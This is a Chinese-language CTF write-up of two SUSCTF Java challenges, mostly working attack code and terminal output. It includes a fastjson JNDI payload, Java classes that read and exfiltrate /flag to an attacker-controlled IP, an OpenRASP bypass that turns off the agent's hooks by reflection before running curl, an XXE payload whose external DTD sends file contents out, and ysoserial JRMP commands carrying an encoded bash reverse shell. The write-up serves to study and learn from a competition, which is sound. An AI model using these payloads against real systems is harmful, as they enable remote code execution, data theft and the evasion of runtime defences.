比赛的时候没有看,一是因为摸了整个寒假,Java是一点想不起来了。。。二就是因为队里的心心直接秒了。。
不过这两道fastjson似乎都有一些奇奇怪怪的问题,复现的话从中学习一些东西就行了。
admin admin123登录后台后给了lib,然后有个fastjson反序列化的输入,根据题目意思是自己找链子但是似乎网上的链子也能打通:
inputtext={"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://121.5.169.223:39543/Evil"}
复现的时候踩了很多坑,主要的问题就是一开始没想到外带,直接执行命令不成功,没法确实class到底加载成功没有,试了一下Java执行DNGLOG也没反应。。
官方解法是绕过命令执行的失败,直接执行命令会有这个:
location.href="https://rasp.baidu.com/blocked2/?request_id=c5aa80028dda444da456f0a16663a09b"
查一下rasp就知道它是Runtime application self-protection
,也是一种防御。
可以拿forkAndExec
来绕过rasp,但是网上找到的我本地都运行不了,说launchMechanism
字段不存在,暂时没搞明白咋回事。
第二种就是URL直接外带出来了:
import java.io.BufferedReader; import java.io.FileReader; import java.net.HttpURLConnection; import java.net.URL; public class Evil { public Evil() throws Exception{ String flag = ""; String str; BufferedReader in = new BufferedReader(new FileReader("/flag")); while ((str = in.readLine()) != null) { flag += str; } System.out.println(flag); URL url = new URL("http://121.5.169.223:39454/?flag="+flag); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("GET"); //添加请求头 con.setRequestProperty("User-Agent", "feng"); int responseCode = con.getResponseCode(); } }
发起get请求直接把flag外带出来。
启动ldap server:
root@VM-0-6-ubuntu:~/java/jndi# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://121.5.169.223:39777/#Evil" 39543 Listening on 0.0.0.0:39543 Send LDAP reference result for Evil redirecting to http://121.5.169.223:39777/Evil.class Send LDAP reference result for Evil redirecting to http://121.5.169.223:39777/Evil.class
Evil.class:
root@VM-0-6-ubuntu:~/java/jndi# python3 -m http.server 39777 Serving HTTP on 0.0.0.0 port 39777 (http://0.0.0.0:39777/) ... 124.71.187.127 - - [02/Mar/2022 16:07:49] "GET /Evil.class HTTP/1.1" 200 - 124.71.187.127 - - [02/Mar/2022 16:24:27] "GET /Evil.class HTTP/1.1" 200 -
root@VM-0-6-ubuntu:~# nc -lnvp 39454 Listening on [0.0.0.0] (family 0, port 39454) Connection from 124.71.187.127 43984 received! GET /?flag=SUSCTF{Find_FastjSON_gadGet_is_so_Easy} HTTP/1.1 User-Agent: feng Cache-Control: no-cache Pragma: no-cache Host: 121.5.169.223:39454 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive
nepnep战队的姿势,学习一波
import java.io.BufferedReader; import java.io.FileReader; import java.net.HttpURLConnection; import java.net.URL; public class Evil { public Evil() throws Exception{ Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config"); java.lang.reflect.Method getConfig = clz.getDeclaredMethod("getConfig"); java.lang.reflect.Field disableHooks = clz.getDeclaredField("disableHooks"); disableHooks.setAccessible(true); Object ins = getConfig.invoke(null); disableHooks.set(ins,true); Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://121.5.169.223:39454 -F file=@/flag"}); } }
学习一波这个思路,这个思路很强,因为openrasp使用javaagent
机制来实现。在服务器启动时,可动态的修改Java字节码,实际上是注入到了内存中的,可以利用反射来修改配置信息,实现关闭rasp。nb学习了。
首先是个xxe,外带出来:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://121.5.169.223:39801/evil.dtd"> %remote;]> <user> <number> a </number> <name> b </name> </user>
root@VM-0-6-ubuntu:~# cat evil.dtd <!ENTITY % file SYSTEM 'file:///hint.txt'> <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://121.5.169.223:39802/?content=%file;'>"> %payload; %send;
root@VM-0-6-ubuntu:~/java/jndi# nc -lvvp 39802 Listening on [0.0.0.0] (family 0, port 39802) Connection from ecs-159-138-123-251.compute.hwclouds-dns.com 55556 received! GET /?content=58f9f32d633491243ee01cbe86f69be9.zip HTTP/1.1 User-Agent: Java/1.8.0_191 Host: 121.5.169.223:39802 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive
下载58f9f32d633491243ee01cbe86f69be9.zi
后得到一些信息:
JRE: 8u191 Dependency: commons-collections3.1
然后是一些类似需要逆向的代码,大致看看是POST似乎访问/bf2dcf6664b16e0efe471b2eac2b54b2
传参数0然后会对它进行base64解码一次然后再来一次黑名单过滤,然后反序列化。
黑名单:
"java.util.Hashtable" "java.util.HashSet" "java.util.HashMap" "javax.management.BadAttributeValueExpException" "java.util.PriorityQueue"
非预期就是可以直接拿JRMP去打。
java -jar ysoserial.jar JRMPClient 121.5.169.223:39555|base64 -w 0 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 39555 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8jEuNS4xNjkuMjIzLzM5Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
- 攻击方在自己的服务器使用
exploit/JRMPListener
开启一个rmi监听- 往存在漏洞的服务器发送
payloads/JRMPClient
,payload中已经设置了攻击者服务器ip及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的rmi监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections
包,则可以发送CommonsCollections
系列的payload),从而达到命令执行的结果。
预期解的话就是自己挖链子,对于CC5或者CC6来说,ban掉的只是入口处的类,再另找能触发到比如hashCode函数的起始链就可以了。
感觉预期解在这种题目环境下比较奇怪。。。非预期反而感觉很有意思hhh。后续再把JRMP看看了。